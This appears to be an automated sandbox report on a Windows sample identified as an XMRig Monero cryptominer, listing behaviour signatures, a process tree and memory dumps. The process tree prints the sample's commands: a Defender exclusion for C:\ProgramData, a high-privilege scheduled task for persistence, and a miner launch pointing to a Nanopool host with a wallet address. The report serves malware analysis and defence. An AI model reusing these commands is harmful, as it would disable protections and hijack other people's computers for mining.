Analysis
- max time kernel
138s - max time network
144s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
14/11/2022, 16:55
General
- Target file.exe
- Size 1.5MB
- Sample221114-ve41nscf22
- SHA256 3216a9bbc9446ee5f88a66e042686a5eb6c5d0a8b1dc8c54d8eafa3dfedebbc5
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Executes dropped EXE 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 28 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpE68C.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
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C:\ProgramData\WindowsMail\AVPTQBAEW.exe"C:\ProgramData\WindowsMail\AVPTQBAEW.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"5⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
AVPTQBAEW.exe
AVPTQBAEW.exe
powershell.exe.log
StartupProfileData-NonInteractive
tmpE68C.tmp.bat
memory/1340-178-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp
memory/1788-189-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1788-190-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1788-191-0x00000190D5DA0000-0x00000190D5DC0000-memory.dmp
memory/1788-187-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1788-192-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1788-193-0x00000190D5E00000-0x00000190D5E20000-memory.dmp
memory/1788-194-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1788-195-0x00000190D5E20000-0x00000190D5E40000-memory.dmp
memory/1788-196-0x00000190D5E40000-0x00000190D5E60000-memory.dmp
memory/1788-197-0x00000190D5E20000-0x00000190D5E40000-memory.dmp
memory/1788-198-0x00000190D5E40000-0x00000190D5E60000-memory.dmp
memory/3604-182-0x00007FF828D20000-0x00007FF828D8B000-memory.dmp
memory/3604-186-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp
memory/3604-185-0x00000000005B0000-0x00000000005F1000-memory.dmp
memory/3604-184-0x00000000002A0000-0x0000000000480000-memory.dmp
memory/3604-160-0x00007FF81B6F0000-0x00007FF81B79A000-memory.dmp
memory/3604-161-0x00007FF828330000-0x00007FF8283CE000-memory.dmp
memory/3604-162-0x00007FF825610000-0x00007FF825622000-memory.dmp
memory/3604-163-0x00007FF81B630000-0x00007FF81B6ED000-memory.dmp
memory/3604-164-0x00007FF829580000-0x00007FF829721000-memory.dmp
memory/3604-165-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp
memory/3604-167-0x00007FF8294A0000-0x00007FF8294CB000-memory.dmp
memory/3604-166-0x00000000002A0000-0x0000000000480000-memory.dmp
memory/3604-168-0x00000000005B0000-0x00000000005F1000-memory.dmp
memory/3604-169-0x00000000002A0000-0x0000000000480000-memory.dmp
memory/3604-170-0x00000000002A0000-0x0000000000480000-memory.dmp
memory/3604-171-0x00007FF80D610000-0x00007FF80D75E000-memory.dmp
memory/3604-172-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp
memory/3604-183-0x00007FF826AC0000-0x00007FF826AFB000-memory.dmp
memory/3604-181-0x00007FF809990000-0x00007FF809A92000-memory.dmp
memory/3604-180-0x00007FF80DC30000-0x00007FF80DC65000-memory.dmp
memory/3604-179-0x00007FF827BA0000-0x00007FF827BC7000-memory.dmp
memory/4660-145-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp
memory/4660-139-0x00007FF829580000-0x00007FF829721000-memory.dmp
memory/4660-134-0x00007FF828330000-0x00007FF8283CE000-memory.dmp
memory/4660-148-0x0000000000960000-0x0000000000B40000-memory.dmp
memory/4660-149-0x0000000002700000-0x0000000002741000-memory.dmp
memory/4660-133-0x00007FF81B6F0000-0x00007FF81B79A000-memory.dmp
memory/4660-135-0x00007FF825610000-0x00007FF825622000-memory.dmp
memory/4660-152-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp
memory/4660-137-0x0000000000960000-0x0000000000B40000-memory.dmp
memory/4660-143-0x0000000000960000-0x0000000000B40000-memory.dmp
memory/4660-138-0x0000000002700000-0x0000000002741000-memory.dmp
memory/4660-144-0x00007FF80D610000-0x00007FF80D75E000-memory.dmp
memory/4660-136-0x00007FF81B630000-0x00007FF81B6ED000-memory.dmp
memory/4660-142-0x0000000000960000-0x0000000000B40000-memory.dmp
memory/4660-141-0x00007FF8294A0000-0x00007FF8294CB000-memory.dmp
memory/4660-140-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp
memory/4948-155-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp
memory/4948-154-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp
memory/4948-151-0x00000270F20A0000-0x00000270F20C2000-memory.dmp